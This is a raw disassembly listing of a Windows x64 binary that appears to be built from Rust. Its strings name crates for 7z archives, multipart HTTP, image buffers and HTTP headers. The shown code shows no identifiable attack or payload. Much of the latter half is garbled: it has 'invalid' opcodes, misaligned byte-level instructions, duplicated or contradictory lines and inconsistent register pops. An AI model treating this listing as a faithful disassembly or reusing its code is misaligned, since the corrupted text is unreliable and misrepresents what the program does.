lea rcx, [rbp + 0x25d0]
call fcn.14005fbe3
mov rbx, qword [rbp + 0x4aa8]
jmp 0x1401639d5
mov rcx, qword [rbp + 0x4ae8]
mov rdx, qword [rbp + 0x4b38]
call fcn.14005fb5b
lea rcx, [rbp + 0x3d40]
call fcn.14005fa5d
lea rcx, [rbp + 0x3780]
call fcn.140156844
mov rcx, qword [rbp + 0x3c00]
mov rdx, qword [rbp + 0x3c08]
call fcn.1400373d1
mov rcx, qword [rbp + 0x3670]
mov rdx, qword [rbp + 0x3678]
call fcn.1400373d1
mov rcx, rbx
mov rdx, qword [rbp + 0x4b28]
call fcn.14005fbcf
mov byte [rbp + 0x4b26], 0
mov rcx, r13
call fcn.140015c8d
mov rsi, rax
mov byte [rbp + 0x4ad4], 0
lea rcx, [rbp + 0x42f8]
call fcn.140015e95
mov rcx, rsi
call fcn.1401ca793
jmp 0x140164024
mov rcx, qword [rbp + 0x4b00]
mov rdx, qword [rbp + 0x4af8]
jmp 0x140163cc2
mov rcx, r8
call fcn.1401ca6a1
mov r12, rax
mov rdi, qword [rbp + 0x4af8]
mov rbx, qword [rbp + 0x4b00]
mov r14, qword [rbp + 0x4b18]
jmp 0x140163b4f
mov rcx, r8
call fcn.1401ca6a1
mov r12, rax
jmp 0x140163b87
mov rcx, r8
call fcn.1401ca6a1
mov r12, rax
mov rdi, qword [rbp + 0x4af8]
mov rbx, qword [rbp + 0x4b00]
mov r14, qword [rbp + 0x4b18]
jmp 0x140163bf4
mov rcx, r8
call fcn.1401ca6a1
mov r12, rax
mov rdi, qword [rbp + 0x4af8]
mov rbx, qword [rbp + 0x4b00]
mov r14, qword [rbp + 0x4b18]
jmp 0x140163c41
mov byte [rbp + 0x4b24], 1
mov rcx, rdx
call fcn.1401c6bcc
mov r12, rax
mov sil, 1
jmp 0x140163efa
mov cl, byte [rbp + 0x25d1]
mov dl, byte [rbp + 0x25d2]
call fcn.1401ca885
mov r12, rax
mov rdi, qword [rbp + 0x4af8]
mov rbx, qword [rbp + 0x4b00]
mov r14, qword [rbp + 0x4b18]
mov rdx, qword [rbp + 0x4b38]
mov rcx, qword [rbp + 0x4b28]
call fcn.14006095a
lea rcx, [rbp + 0x340]
call fcn.14003f121
jmp 0x140163c60
mov cl, byte [rbp + 0x25d1]
mov dl, byte [rbp + 0x25d2]
call fcn.1401ca885
mov r12, rax
mov rdx, qword [rbp + 0x4b38]
mov rcx, qword [rbp + 0x4b28]
call fcn.14006095a
lea rcx, [rbp + 0x340]
call fcn.14003f121
mov rcx, qword [rbp + 0x3f70]
mov rax, qword [rcx]
mov rax, qword [rax]
mov byte [rbp + 0x4b47], 1
mov byte [rbp + 0x4b46], 0
call rax
mov sil, 1
jmp 0x140163f14
mov cl, byte [rbp + 0x25d1]
mov dl, byte [rbp + 0x25d2]
call fcn.1401ca885
mov r12, rax
mov rdi, qword [rbp + 0x4af8]
mov rbx, qword [rbp + 0x4b00]
mov r14, qword [rbp + 0x4b18]
mov rdx, qword [rbp + 0x4b38]
mov rcx, qword [rbp + 0x4b28]
call fcn.14006095a
lea rcx, [rbp + 0x340]
call fcn.14003f121
jmp 0x140164099
mov cl, byte [rbp + 0x25d1]
mov dl, byte [rbp + 0x25d2]
call fcn.1401ca885
mov r12, rax
mov rdi, qword [rbp + 0x4af8]
mov rbx, qword [rbp + 0x4b00]
mov r14, qword [rbp + 0x4b18]
mov rdx, qword [rbp + 0x4b38]
mov rcx, qword [rbp + 0x4b28]
call fcn.14006095a
lea rcx, [rbp + 0x340]
call fcn.14003f121
mov rcx, qword [rbp + 0x46e8]
mov rdx, qword [rbp + 0x46f0]
call fcn.14006095a
mov sil, 1
jmp 0x14016409b
mov byte [rbp + 0x4b23], 1
mov rcx, rax
call fcn.1401c6bcc
jmp 0x140163c95
mov rcx, r8
call fcn.1401ca6a1
mov r12, rax
jmp 0x140163cc7
mov byte [rbp + 0x4b23], 1
mov rcx, rdx
call fcn.1401c6bcc
mov r12, rax
mov sil, 1
jmp 0x140163ee6
mov cl, byte [rbp + 0x341]
mov dl, byte [rbp + 0x342]
call fcn.1401ca885
mov r12, rax
mov rdx, qword [rbp + 0x4b38]
mov rcx, qword [rbp + 0x4b28]
call fcn.14006095a
lea rcx, [rbp + 0x2370]
call fcn.14003f121
jmp 0x1401640ba
mov byte [rbp + 0x4b22], 1
mov rcx, rax
call fcn.1401c6bcc
jmp 0x140163cf8
mov byte [rbp + 0x4b22], 1
mov rcx, rdx
call fcn.1401c6bcc
mov r12, rax
mov sil, 1
jmp 0x140163ed2
mov byte [rbp + 0x4b21], 1
mov rcx, rax
call fcn.1401c6bcc
jmp 0x140163d33
mov rcx, rdi
call fcn.1401c6bcc
mov r12, rax
jmp 0x140164033
mov byte [rbp + 0x4b21], 1
mov rcx, rdx
call fcn.1401c6bcc
mov r12, rax
mov sil, 1
jmp 0x140163ebe
mov byte [rbp + 0x4af6], 1
mov rcx, rax
call fcn.1401c6bcc
mov r12, rax
mov sil, 1
mov rdi, qword [rbp + 0x4ae8]
jmp 0x140163eae
mov r13, rdx
mov rcx, r13
call fcn.1401c6bcc
jmp 0x140164024
and qword [rbp + 0x2370], 0
mov qword [rbp + 0x2378], 1
and qword [rbp + 0x2380], 0
lea rax, [rbp + 0x25e8]
movups xmm0, xmmword [rax - 0x10]
lea rdx, [rbp + 0x4380]
mov qword [rdx + 0x30], 0x20
mov byte [rdx + 0x38], 3
and qword [rdx], 0
lea rcx, [rbp + 0x3980]
and qword [rdx + 0x10], 0
movaps xmmword [rcx], xmm0
mov qword [rdx + 0x20], r12
lea rax, [0x14024c7e0]
mov qword [rdx + 0x28], rax
call fcn.14005a25f
mov ecx, eax
call fcn.1401374c5
mov rax, qword [rbp + 0x2380]
mov qword [rbp + 0x3f88], rax
movups xmm0, xmmword [rbp + 0x2370]
movups xmmword [rbp + 0x3f78], xmm0
movabs rax, 0x800000000000000b
mov qword [rbp + 0x3f70], rax
push 0x20
pop rcx
push 8
pop rdx
call fcn.14013265f
mov rsi, rax
movups xmm0, xmmword [rbp + 0x3f70]
movups xmm1, xmmword [rbp + 0x3f80]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
lea rcx, [rbp + 0x340]
call fcn.1401568a8
mov rcx, rsi
call fcn.1401ca793
jmp 0x140164024
mov rcx, r8
call fcn.1401ca6a1
mov r12, rax
mov rdi, qword [rbp + 0x4ae8]
jmp 0x140163e81
mov cl, byte [rbp + 0x341]
mov dl, byte [rbp + 0x342]
call fcn.1401ca885
mov r12, rax
mov rdi, qword [rbp + 0x4ae8]
mov rdx, qword [rbp + 0x4ab0]
mov rcx, qword [rbp + 0x4a90]
call fcn.14006095a
lea rcx, [rbp + 0x25d0]
call fcn.14003f121
lea rcx, [rbp + 0x46d0]
call fcn.14003f121
mov rcx, qword [rbp + 0x3980]
mov rdx, qword [rbp + 0x3988]
call fcn.14006095a
xor esi, esi
mov byte [rbp + 0x4b21], sil
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov byte [rbp + 0x4b22], sil
mov rcx, qword [rbp + 0x4b08]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov byte [rbp + 0x4b23], sil
mov rcx, qword [rbp + 0x4b28]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov byte [rbp + 0x4b24], sil
mov rcx, qword [rbp + 0x4b38]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp + 0x3d40]
mov rdx, qword [rbp + 0x3d48]
call fcn.14006095a
test sil, sil
sete sil
mov rdi, qword [rbp + 0x4af8]
mov rbx, qword [rbp + 0x4b00]
mov r14, qword [rbp + 0x4b18]
jmp 0x14016409b
mov rcx, r8
call fcn.1401ca6a1
mov r12, rax
mov rsi, qword [rbp + 0x4b38]
jmp 0x140163f94
mov rcx, r8
call fcn.1401ca6a1
mov r12, rax
jmp 0x140163fe9
mov rcx, qword [rbp + 0x4ae8]
call fcn.1401ca6a1
mov r12, rax
jmp 0x14016395f
mov cl, byte [rbp + 0x25d1]
mov dl, byte [rbp + 0x25d2]
call fcn.1401ca885
mov r12, rax
mov rsi, qword [rbp + 0x4b38]
mov rdx, qword [rbp + 0x4b28]
mov rcx, qword [rbp + 0x4b08]
call fcn.14006095a
lea rcx, [rbp + 0x340]
call fcn.14003f121
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax]
mov rdi, qword [rbp + 0x4af8]
mov rbx, qword [rbp + 0x4b00]
mov r14, qword [rbp + 0x4b18]
jmp 0x140164073
mov cl, byte [rbp + 0x25d1]
mov dl, byte [rbp + 0x25d2]
call fcn.1401ca885
mov r12, rax
mov rdx, qword [rbp + 0x4b38]
mov rcx, qword [rbp + 0x4b28]
call fcn.14006095a
lea rcx, [rbp + 0x340]
call fcn.14003f121
jmp 0x14016397e
mov byte [rbp + 0x4b36], 0
lea rcx, [rbp + 0x340]
call fcn.14015675d
mov byte [rbp + 0x4b36], 0
mov rcx, rbx
call fcn.1401ca793
mov r12, rax
lea rcx, [rbp + 0x38f0]
call fcn.14016b626
mov rcx, qword [rbp + 0x49a8]
mov rdx, qword [rbp + 0x49b0]
call fcn.14006095a
lea rcx, [rbp + 0x42d8]
call fcn.1401566dd
mov rdi, qword [rbp + 0x4af8]
mov rbx, qword [rbp + 0x4b00]
mov r14, qword [rbp + 0x4b18]
lea rcx, [rbp + 0x4688]
call fcn.14016b5e2
mov rcx, qword [rbp + 0x46a0]
mov rdx, qword [rbp + 0x46a8]
call fcn.14006095a
mov rcx, qword [rbp + 0x46b8]
mov rdx, qword [rbp + 0x46c0]
call fcn.14014b0fc
xor esi, esi
mov rcx, rbx
mov rdx, rdi
call fcn.14006095a
test sil, sil
jne 0x1401640ba
mov rcx, qword [rbp + 0x4ae0]
mov rdx, r14
call fcn.14006095a
mov rdx, qword [rbp + 0x4a68]
mov rcx, qword [rbp + 0x4a70]
call fcn.14006095a
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x4670], rax
jne 0x1401640f6
mov rdx, qword [rbp + 0x4678]
movabs rcx, 0x8000000000000000
call fcn.14015b1b7
mov rax, qword [rbp + 0x4640]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
call fcn.14006095a
mov rcx, qword [rbp + 0x4a88]
add rcx, 8
call fcn.140169e88
mov rax, r12
movaps xmm6, xmmword [rbp + 0x4b50]
movaps xmm7, xmmword [rbp + 0x4b60]
movaps xmm8, xmmword [rbp + 0x4b70]
movaps xmm9, xmmword [rbp + 0x4b80]
add rsp, 0x4c18
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
mov rcx, r12
mov rdx, r13
call fcn.1401c6eb0
jmp 0x140164599
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
push 0x20
pop rdx
mov rcx, r12
call fcn.1401c6eb0
jmp 0x140164599
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
push 0x20
pop rdx
call fcn.1401c6eb0
jmp 0x140164599
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
push 0x20
pop rcx
mov rdx, rcx
call fcn.1401c6eb0
jmp 0x140164599
mov rcx, r8
call fcn.1401ca6a1
jmp 0x140164208
mov cl, byte [rbp + 0x25d1]
mov dl, byte [rbp + 0x25d2]
call fcn.1401ca885
mov r12, rax
mov rdi, qword [rbp + 0x4af8]
mov rbx, qword [rbp + 0x4b00]
mov r14, qword [rbp + 0x4b18]
mov rdx, qword [rbp + 0x4b38]
mov rcx, qword [rbp + 0x4b28]
call fcn.14006095a
jmp 0x140164220
mov rcx, rsi
call fcn.1401ca6a1
mov r12, rax
mov rdi, qword [rbp + 0x4af8]
mov rbx, qword [rbp + 0x4b00]
mov r14, qword [rbp + 0x4b18]
lea rcx, [rbp + 0x340]
call fcn.14003f121
jmp 0x140164067
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
mov rcx, r8
mov r8, rax
call fcn.1401c6eb0
jmp 0x140164599
lea r8, [rbp + 0x4380]
mov qword [r8], rax
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fmultipart_0.18.0_srcclientlazy.rs_r_n__
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14001ca7a
push 0x2b
pop rdx
call fcn.1401c7200
jmp 0x140164599
lea rax, [rbp + 0x25d8]
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x4350], xmm0
lea rax, [rbp + 0x42c8]
lea rdx, [rbp + 0x3f70]
mov qword [rdx], rax
lea rax, [0x140036fa9]
mov qword [rdx + 8], rax
lea rax, [rbp + 0x4350]
mov qword [rdx + 0x10], rax
lea rax, [0x1401feee0]
lea rcx, [rbp + 0x4380]
mov qword [rcx], rax
push 2
pop r8
mov qword [rcx + 8], r8
and qword [rcx + 0x20], 0
lea rax, [fcn.14005a25f]
mov qword [rdx + 0x18], rax
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], r8
lea rdx, [0x1401fef00]
call fcn.1401c6e60
jmp 0x140164599
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fmultipart_0.18.0_srcclientlazy.rs_r_n__
mov qword [rsp + 0x20], rax
push 4
pop r8
call fcn.1401c73e0
jmp 0x140164599
mov al, 1
mov byte [rbp + 0x4b47], al
mov byte [rbp + 0x4b46], al
call fcn.1401a71b0
jmp 0x140164599
mov byte [rbp + 0x4b37], 1
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_0.25.1_src_buffer.rs
mov rcx, rdi
mov rdx, rsi
call fcn.1401c6f20
jmp 0x140164599
mov byte [rbp + 0x4b37], 1
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_0.25.1_src_buffer.rs
call fcn.1401c7290
jmp 0x140164599
mov qword [rbp + 0x4b38], rdi
mov rcx, qword [rbp + 0x348]
mov rdx, qword [rbp + 0x350]
call fcn.1401c66e0
jmp 0x140164599
mov qword [rbp + 0x4b38], rbx
mov rdx, qword [rbp + 0x46e0]
call fcn.1401c66e0
jmp 0x140164599
mov byte [rbp + 0x4b26], 0
lea rax, [0x140263fe0]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_threadlocal.rs
lea r9, fcn.140009390
push 0x46
pop rdx
lea r8, [rbp + 0x4350]
call fcn.1401c7200
jmp 0x140164599
lea rax, str.capacity_overflow
lea rcx, [rbp + 0x340]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], 8
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
lea rdx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_alloc_src_vecmod.rs
call fcn.1401c6e60
jmp 0x140164599
mov rdx, qword [rbp + 0x350]
mov rcx, rdi
call fcn.1401c66e0
jmp 0x140164599
lea rax, str.capacity_overflow
lea rcx, [rbp + 0x340]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], 8
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
lea rdx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_alloc_src_vec_spec_from_iter_nested.rs
call fcn.1401c6e60
jmp 0x140164599
lea rcx, str.assertion_failed:_folder.total_input_streams___folder.total_output_streams
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
push 0x4a
pop rdx
call fcn.1401c6f30
jmp 0x140164599
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
mov rcx, rbx
call fcn.1401c6ea0
jmp 0x140164599
xor eax, eax
mov qword [rbp + 0x4a40], rax
jmp 0x1401644c0
mov qword [rbp + 0x4650], rdi
mov rcx, qword [rbp + 0x4a40]
mov rdx, qword [rbp + 0x4650]
call fcn.1401c66e0
jmp 0x140164599
lea rcx, [rbp + 0x3d40]
call fcn.140038fba
lea rax, [0x14024ccf0]
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZEC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_1.1.0_srcheadermap.rs
lea r9, fcn.140009390
push 0x17
pop rdx
lea r8, [rbp + 0x4350]
call fcn.1401c7200
jmp 0x140164599
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_1.1.0_srcheader_name.rsstatic_str_is_invalid_name
mov qword [rsp + 0x20], rax
lea rcx, [0x14024d320]
lea r9, fcn.140009390
push 0x1a
pop rdx
lea r8, [rbp + 0x4350]
call fcn.1401c7200
jmp 0x140164599
mov rcx, qword [rbp + 0x25d8]
mov rdx, qword [rbp + 0x25e0]
call fcn.1401c66e0
jmp 0x140164599
mov qword [rbp + 0x4668], r13
jmp 0x140164575
xor eax, eax
mov qword [rbp + 0x4a40], rax
mov rcx, qword [rbp + 0x4a40]
mov rdx, qword [rbp + 0x4668]
call fcn.1401c66e0
jmp 0x140164599
mov rdx, qword [rbp + 0x3d50]
mov rcx, rsi
call fcn.1401c66e0
ud2
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rdx + 0x80]
add byte [rax], 0
add byte [rsi + 0x44], ah
movq qword [rsp + 0x40], mm0
add byte [rax], 0
add byte [rsi + 0x44], ah
movq qword [rsp + 0x40], mm0
movdqa xmmword [rsp + 0x50], xmm7
movaps xmmword [rsp + 0x60], xmm6
lea rcx, [rbp - 0x40]
call fcn.140137625
movaps xmm6, xmmword [rsp + 0x60]
movaps xmm7, xmmword [rsp + 0x50]
movaps xmm8, xmmword [rsp + 0x40]
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rdx + 0x80]
movdqa xmmword [rsp + 0x40], xmm8
and al, 0x40
and al, 0x40
movdqa xmmword [rsp + 0x50], xmm7
movaps xmmword [rsp + 0x60], xmm6
mov rcx, qword [rbp + 0x10d0]
mov rdx, qword [rbp + 0x10e0]
call fcn.1401c595f
movaps xmm6, xmmword [rsp + 0x60]
movaps xmm7, xmmword [rsp + 0x50]
movaps xmm8, xmmword [rsp + 0x40]
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movaps xmm0, xmmword [rsp + 0x40]
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rsp
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rdx + 0x80]
movdqa xmmword [rsp + 0x40], xmm8
movdqa xmmword [rsp + 0x50], xmm7
movaps xmmword [rsp + 0x60], xmm6
sub dword [rsp + 0x60], esi
sub dword [rsp + 0x60], esi
mov rsi, qword [rbp + 0x1020]
mov rcx, qword [rbp + 0x10d0]
add byte [rax], al
add byte [rax], al
mov rdx, qword [rbp + 0x10e0]
call fcn.14006095a
mov qword [rbp + 0x10b0], rsi
movaps xmm6, xmmword [rsp + 0x60]
and al, 0x60
add al, ch
stc
sub al, 0xef
dec dword [rax - 0x77]
mov ch, 0xb0
adc byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x60], dh
and al, 0x60
and al, 0x60
movaps xmm7, xmmword [rsp + 0x50]
movaps xmm8, xmmword [rsp + 0x40]
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
jmp 0x1b43eecd2
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
pop r14
pop r15
pop rbp
ret
sub esp, 0x78
lea rbp, [rdx + 0x80]
movdqa xmmword [rsp + 0x40], xmm8
movdqa xmmword [rsp + 0x50], xmm7
movaps xmmword [rsp + 0x60], xmm6
cmp qword [rbp + 0x1038], 0
je 0x14016e02c
lea rcx, [rbp + 0x1038]
call fcn.14016e0aa
movaps xmm6, xmmword [rsp + 0x60]
movdqa xmm7, xmmword [rsp + 0x50]
movdqa xmm8, xmmword [rsp + 0x40]
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movaps xmm6, xmmword [rsp + 0x60]
movdqa xmm7, xmmword [rsp + 0x50]
movdqa xmm8, xmmword [rsp + 0x40]
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
sub byte [rsp + 0x40], al
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
jb case.0x14014975d.212
mov rdi, rdx
mov rdx, qword [rdx + 8]
or byte [rax - 0x77], cl
push rbp
clc
or byte [rax - 0x77], cl
push rbp
clc
cmp r12, rdx
ja case.0x14014975d.212
mov qword [rbp], rcx
mov r15, qword [rdi]
lea rdx, [r15 + rsi]
movzx ebx, byte [rdi + 0x28]
movzx r14d, byte [rdi + rbx + 0x1f]
cmp rbx, 4
ja 0x14016e150
lea rax, [rdi + 0x20]
mov qword [rbp - 0x10], rax
jmp 0x14016e1f0
lea rdx, [r15 + rsi]
mov r8, r12
sub r8, rsi
jb 0x14016e289
add byte [rax], al
cmp r8, 0x10
jae 0x14016e180
xor ecx, ecx
cmp r12, rsi
je 0x14016e171
nop dword [rax]
cmp byte [rdx + rcx], r14b
cmp byte [rdx + rcx], dh
je 0x14016e196
inc rcx
cmp r8, rcx
jne 0x14016e160
mov rcx, r8
xor eax, eax
cmp rax, 1
je 0x14016e1b0
jmp 0x14016e283
mov ecx, r14d
mov ecx, esi
call fcn.14002c810
mov rcx, rdx
cmp rax, 1
je 0x14016e1b0
jmp 0x14016e283
mov eax, 1
cmp rax, 1
jne 0x14016e283
fiadd word [rax]
add byte [rax], al
nop word cs:[rax + rax]
add rsi, rcx
inc rsi
mov qword [rdi + 0x10], rsi
cmp rsi, rbx
jb 0x14016e140
cmp rsi, qword [rbp - 8]
ja 0x14016e140
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_strpattern.rsErrorNoneSome
mov edx, 4
add byte [rax], al
mov ecx, 0x4ba0011
add byte [rax], al
add byte [rax], al
mov rcx, rbx
call fcn.1401c6f20
nop dword [rax]
add byte [rax], al
mov rcx, rbx
call fcn.1401c6f20
nop dword [rax]
lea rdx, [r15 + rsi]
lea edx, [rdi + rsi]
mov r8, r12
sub r8, rsi
jb 0x14016e289
invalid
cmp r8, 0x10
cmp eax, 0x10
jae 0x14016e220
xor ecx, ecx
cmp r12, rsi
je 0x14016e211
nop dword [rax]
cmp byte [rdx + rcx], r14b
je 0x14016e233
inc rcx
cmp r8, rcx
jne 0x14016e200
mov rcx, r8
xor eax, eax
cmp rax, 1
je 0x14016e240
jmp 0x14016e283
mov ecx, r14d
call fcn.14002c810
mov rcx, rdx
cmp rax, 1
je 0x14016e240
invalid
clc
add dword [rdi + rcx - 0x15], esi
je 0x14016e240
invalid
jmp 0x14016e283
jmp 0x14016e283
mov eax, 1
cmp rax, 1
jne 0x14016e283
invalid
nop
nop
add rsi, rcx
inc rsi
mov qword [rdi + 0x10], rsi
mov r13, rsi
sub r13, rbx
jb 0x14016e1e0
cmp rsi, qword [rbp - 8]
ja 0x14016e1e0
lea rcx, [r15 + r13]
mov rdx, qword [rbp - 0x10]
mov r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14016e1e0
mov rcx, qword [rbp]
mov qword [rcx + 8], r13
mov qword [rcx + 0x10], rsi
mov eax, 1
add byte [rax], al
add byte [rax], al
jmp case.0x14014975d.212
mov qword [rdi + 0x10], r12
jmp 0x14016e28b
xor eax, eax
mov rcx, qword [rbp]
mov qword [rcx], rax
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
clc
lea rcx, [0x14025c628]
mov qword [rsp + 0x30], rcx
lea rcx, [rbp - 8]
clc
clc
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], 4
add byte [rax], al
lea rdx, [0x14025c61b]
lea r9, str.kind
mov r8d, 0xd
add byte [rax], al
add byte [rax - 0x77], cl
shr eax, 0xe5
shr bl, 1
call qword [rax + 0x40c48348]
pop rbp
pop rbp
ret
int3
int3
int3
mov rbp, rsp
mov rax, qword [rcx]
movzx eax, byte [rax]
lea rcx, [0x14025cd08]
invalid
add byte [rbx + rcx*4 + 4], cl
ror dword [rax - 0x73], 0xd
add al, 0xea
invalid
add byte [rax + 0x63], cl
add al, 0x81
or dword [rax + 1], 0x4a8b48c8
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0x495d
jmp r9
invalid
int3
add byte [rax], al
lea rbp, [rsp + 0x80]
mov rsi, rcx
mov rcx, qword [rcx]
mov ecx, dword [rcx]
test rcx, rcx
je 0x14016e8b6
invalid
add byte [rax], al
add eax, 0x468b0000
sbb bh, bh
ror byte [rcx - 0xbc2e7ba], 1
add byte [rax], al
mov eax, dword [rsi + 0x18]
inc eax
mov dword [rsi + 0x18], eax
cmp eax, 0x1f4
jbe 0x14016e3b9
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14016e3a9
lea rdx, [0x14025cb70]
mov r8d, 0x19
sbb dword [rax], eax
add byte [rax], al
call fcn.140025500
invalid
jno 0x14016e388
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x575850f], eax
add byte [rax], al
invalid
mov qword [rsi], 0
mov byte [rsi + 8], 1
or byte [rcx], r8b
or byte [rcx], r8b
jmp 0x14016e91c
mov r8, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r8
jae case.0x14016e3f2.68
invalid
movzx ebx, byte [rcx + rax]
lea r9, [rax + 1]
mov qword [rsi + 0x10], r9
lea r10d, [rbx - 0x42]
cmp r10d, 0x17
ja case.0x14016e3f2.68
lea r11, [0x14028c974]
movsxd r10, dword [r11 + r10*4]
add r10, r11
jmp r10
cmp r9, r8
jae 0x14016e425
cmp byte [rcx + r9], 0x73
jne 0x14016e425
lea r9, [rax + 2]
mov qword [rsi + 0x10], r9
cmp r9, r8
jae case.0x14016e3f2.68
fld qword [rax + rax]
invalid
add byte [rdx - 0x80], al
cmp al, 9
pop rdi
cmp byte [rcx + r9], 0x5f
jne 0x14016e821
add rax, 3
mov qword [rsi + 0x10], rax
mov rdi, qword [rsi + 0x20]
mov qword [rsi + 0x20], 0
mov rcx, rsi
xor edx, edx
shr al, cl
adc eax, 0x84ffffff
ror byte [rdi], 0x85
invalid
invalid
invalid
add byte [rax], al
mov qword [rsi + 0x20], rdi
test rdi, rdi
jne 0x14016e58c
invalid
add cl, ch
push rdi
add dword [rax], eax
add byte [rcx - 0xe76b729], cl
mov edi, edx
mov rcx, rsi
jmp 0x14016e5ac
mov edi, edx
mov rcx, rsi
call fcn.14016f590
mov rbx, rax
test bl, 1
jne 0x14016e6a3
mov rcx, rsi
mov edx, edi
call fcn.14016e350
mov dil, 1
test al, al
jne 0x14016e91e
cmp qword [rsi], 0
je case.0x1400089d2.1468
mov rcx, rbp
mov rdx, rsi
bnd call fcn.14016ec20
bnd call fcn.14016ec20
cmp byte [rbp], 0
jne 0x14016e548
cmp qword [rsi], 0
je 0x14016e8b6
add byte [rax], al
mov r14, qword [rbp + 8]
mov rcx, rbp
mov rdx, rsi
call fcn.14016ed00
cmp qword [rbp], 0
je 0x14016e880
shr rbx, 0x20
movups xmm0, xmmword [rbp]
adc byte [rbp], al
movups xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp - 0x10], xmm1
movaps xmmword [rbp - 0x20], xmm0
cmp ebx, 0x110000
jne 0x14016e92e
mov rax, qword [rbp - 0x18]
or rax, qword [rbp - 8]
je 0x14016e691
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14016e691
lea rdx, [0x14025c780]
lea edx, [0x14025c780]
mov r8d, 2
call fcn.140025500
test al, al
jne 0x14016e91e
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x14016e691
push rsi
and byte [rax - 0x7b], cl
ror byte [rdi], cl
test byte [rcx + rax], ch
add byte [rax - 0x73], cl
loopne 0x14016e512
lea rcx, [rbp - 0x20]
call fcn.14016eef0
jmp 0x14016e689
push rsi
add dword [rax], eax
invalid
ret 9
push rsi
add dword [rax], eax
add byte [rax - 0x77], cl
mov rcx, rbp
mov rdx, rsi
invalid
mov rcx, rbp
mov rdx, rsi
call fcn.14016ec20
cmp byte [rbp], 0
jge 0x14016e541
add byte [rdi], cl
invalid
xchg byte [rcx], al
add byte [rax], al
jge 0x14016e541
add byte [rdi], cl
test byte [rsi + 0xf000001], al
mov dh, 0x5d
add dword [rax - 0x75], ecx
and byte [rbx + r11*8 + 0x23b840f], r8b
and byte [rbx + rbx*8 + 0x23b840f], al
